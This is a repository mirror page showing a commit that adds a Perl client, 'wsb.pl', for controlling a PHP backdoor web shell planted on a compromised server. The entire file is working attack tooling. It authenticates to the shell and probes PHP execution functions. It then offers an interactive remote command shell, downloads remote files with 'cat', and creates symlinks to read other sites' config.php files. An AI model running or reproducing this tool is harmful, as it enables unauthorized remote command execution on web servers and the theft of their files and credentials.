mirror of
https://github.com/tennc/webshell.git
synced 2026-02-10 07:26:37 +00:00
update
php shell and jsp shell
This commit is contained in:
109
php/wsb/wsb.pl
Normal file
109
php/wsb/wsb.pl
Normal file
@@ -0,0 +1,109 @@
|
||||
#IDC php BackDoor
|
||||
#Iranian Dark Coders Team
|
||||
#WwW.IDC-TeaM.NeT
|
||||
#Coded BY M.R.S.CO
|
||||
#We Are M.R.S.CO,N3O,UB313,Black.Hack3r
|
||||
#Friends : G3n3Rall,MR.CILILI,BlacK.King,Nafsh,b3hz4d,E2MA3N,Skote_Vahshat,Bl4ck.Viper,Mr.Xpr
|
||||
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
|
||||
print q (
|
||||
|
||||
__ __ __
|
||||
| | _|_ {_ |_ _|| |__} _ _| | \ _ _ _
|
||||
|/\|{-|_} __}| }{-|| |__}{_|{_|{|__/{_}{_}|
|
||||
|
||||
--=[Web Shell BackDoor]
|
||||
+---++---==[Version : 1.1]
|
||||
+---++---==[Coded by : M.R.S.CO]
|
||||
+---++---==[WwW.IDC-TeaM.Net]
|
||||
--=[Iranian Dark Coders Team]
|
||||
);
|
||||
use LWP::Simple;
|
||||
print "\nEnter Shell URL : ";
|
||||
chomp($url=<STDIN>);
|
||||
|
||||
print "\nEnter UserName : ";
|
||||
chomp($usr=<STDIN>);
|
||||
|
||||
print "Enter PassWord : ";
|
||||
chomp($pass=<STDIN>);
|
||||
|
||||
|
||||
print "\nStart analyze shell\n";
|
||||
@fun=("system","passthru","exec","shell_exec");
|
||||
$tf="false";
|
||||
foreach(@fun)
|
||||
{
|
||||
$source=get $url."?usr=".$usr."&pass=".$pass."&idc=$_('echo www.idc-team.net');";
|
||||
if ($source =~ m/idc-team/i){
|
||||
print "\nConected\nFor more information Enter \"help\"";
|
||||
do {
|
||||
print "\nWSB : ";
|
||||
chomp($cmd=<STDIN>);
|
||||
if ($cmd=~"help")
|
||||
{
|
||||
print q (
|
||||
================================================================
|
||||
|
||||
command Description
|
||||
------- --------------------------
|
||||
help The help command display the help menu
|
||||
getuid The 'getuid' command will display the user
|
||||
lpwd display the filename of the current working directory
|
||||
ps The 'ps' command display the list of running processes.
|
||||
shell It display the standard shell
|
||||
dir The 'dir' command List information about the FILEs
|
||||
download The 'download' command downloads a file from the remote machine
|
||||
sym The 'sym' command create a symlink
|
||||
);
|
||||
}elsif ($cmd=~"getuid"){
|
||||
$source=get $url."?usr=".$usr."&pass=".$pass."&idc=$_('id');";
|
||||
print "\nUser id = $source";
|
||||
}elsif ($cmd=~"dir"){
|
||||
$source=get $url."?usr=".$usr."&pass=".$pass."&idc=$_('ls -la');";
|
||||
print "\n $source";
|
||||
}elsif ($cmd=~"lpwd"){
|
||||
$source=get $url."?usr=".$usr."&pass=".$pass."&idc=$_('pwd');";
|
||||
print "\n$source";
|
||||
}elsif ($cmd=~"ps"){
|
||||
$source=get $url."?usr=".$usr."&pass=".$pass."&idc=$_('ps -A');";
|
||||
print "\n$source";
|
||||
}elsif ($cmd=~"exit"){
|
||||
exit 0;
|
||||
}elsif ($cmd=~"sym"){
|
||||
print "Enter Target Path (/home/idc/public_html/config.php)\nEnter Target Path : ";
|
||||
chomp($target=<STDIN>);
|
||||
print "\nEnter symlink Path (/home/me/public_html/sym.txt)\nEnter symlink Path : ";
|
||||
chomp($sym=<STDIN>);
|
||||
$source=get $url."?usr=".$usr."&pass=".$pass."&idc=$_('ln -s $target $sym');";
|
||||
$source=get $url."?usr=".$usr."&pass=".$pass."&idc=$_(\'perl -e \"symlink('$target','$sym')\"\');";
|
||||
$source=get $url."?usr=".$usr."&pass=".$pass."&idc=symlink('$target','$sym');";
|
||||
print "\nSymlink \"$sym\" Was Created;)\n";
|
||||
}elsif ($cmd=~"download"){
|
||||
print "Enter File Path (/home/idc/public_html/test.zip)\nEnter File Path : ";
|
||||
chomp($ff=<STDIN>);
|
||||
print "\nEnter Save Path : ";
|
||||
chomp($fp=<STDIN>);
|
||||
$source=get $url."?usr=".$usr."&pass=".$pass."&idc=$_('cat $ff');";
|
||||
open (fdl, '>>'.$fp);
|
||||
print fdl "$source";
|
||||
close (fdl);
|
||||
print "\File \"$ff\" Was Downloaded to $fp\n";
|
||||
}elsif ($cmd=~"shell"){
|
||||
$source=get $url."?usr=".$usr."&pass=".$pass."&idc=$_(\"uname -an\");";
|
||||
print "\n$source";
|
||||
do {
|
||||
print "\ncmd : ";
|
||||
chomp($cm=<STDIN>);
|
||||
$source=get $url."?usr=".$usr."&pass=".$pass."&idc=$_(\"$cm\");";
|
||||
print "\n$source";
|
||||
if ($cm=~"exit"){goto ou;}
|
||||
}while ($==1)
|
||||
}else{
|
||||
print "\"$cmd\" Command NotFound 404;) \nFor more information Enter \"help\"";
|
||||
}
|
||||
ou:;
|
||||
}while ($==1)
|
||||
}
|
||||
$tf="true";
|
||||
}
|
||||
if($tf="true") {print "Cant connect to server !!\n";}
|
||||
Reference in New Issue
Block a user